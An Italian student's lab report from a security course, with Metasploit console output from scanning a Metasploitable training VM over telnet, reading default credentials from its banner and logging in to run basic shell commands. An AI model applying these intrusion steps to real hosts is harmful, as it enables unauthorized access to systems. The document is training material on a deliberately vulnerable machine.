M4-Consegna week 16 day 1 – Daniele Rufo

METASPLOIT

Ho sfruttato le vulnerabilità telnet e twiki come mostrato a lezione. Ho lasciato le macchine in rete 192.168.50.0 perché alla fine del risultato non cambiava niente.
TELNET

```
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.50.101
RHOSTS ⇒ 192.168.50.101
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS    192.168.50.101   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT     23               yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads (max one per host)
   TIMEOUT   30               yes       Timeout for the Telnet probe
   USERNAME                   no        The username to authenticate as


View the full module info with the info, or info -d command.
```

una volta impostate le opzioni del pyload (basta RHOSTS in questo caso) lanciamo l'attacco.

```
msf6 auxiliary(scanner/telnet/telnet_version) > show payload
[-] Invalid parameter "payload", use "show -h" for more information
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[+] 192.168.50.101:23     - 192.168.50.101:23 TELNET _                       _       _ _        _       _ \x0a _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___| \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \ '_ \ / _` | '_ \| |/ _ \ \x0a| | | | | |  __/ || (_| \__ \ |_) | | (_) | | | | (_| | |_) | |  __/ |_| \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
[*] 192.168.50.101:23     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

L'exploit ci ritorna il banner di Metasploitable dove però sono contenute anche le credenziali di accesso (solo per servire lo scopo per cui è stata creata la macchina, nella realtà ovviamente non è così servirebbe un attacco di brute force classico o dizionario o con rainbow table per scovare le credenziali). In questo caso però le abbiamo quindi con una semplice connessione telnet validiamo le credenziali appena ottenute ed abbiamo penetrato il sistema.

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.50.101
[*] exec: telnet 192.168.50.101

Trying 192.168.50.101 ...
Connected to 192.168.50.101.
Escape character is '^]'.
                                                  _                  _       _     _
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \ '_ \ / _` | '_ \| |/ _ \
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | | | (_| | |_) | |  __/
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|
                            |_|


Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started


metasploitable login: msfadmin
Password:
Last login: Mon Sep  2 13:31:30 EDT 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
```

La macchina vittima risponde ora ai nostri comandi come si vede sotto.

```
Password:
Last login: Mon Sep  2 13:31:30 EDT 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ whoami
msfadmin
msfadmin@metasploitable:~$ pwd
/home/msfadmin
msfadmin@metasploitable:~$ ls
vulnerable
msfadmin@metasploitable:~$ cd ..
msfadmin@metasploitable:/home$ ls
ftp  msfadmin  service  user
msfadmin@metasploitable:/home$ cd ..
msfadmin@metasploitable:/$ ls
bin   cdrom  etc   initrd      lib         media  nohup.out  proc  sbin  sys               tmp  var      wR
boot  dev    home  initrd.img  lost+found  mnt    opt        root  srv   test_metasploitable  usr  vmlinuz  zzUR
msfadmin@metasploitable:/$
msfadmin@metasploitable:/$
msfadmin@metasploitable:/$ exit
Connection closed by foreign host.
msf6 auxiliary(scanner/telnet/telnet_version) > Interrupt: use the 'exit' command to quit
msf6 auxiliary(scanner/telnet/telnet_version) > exit
```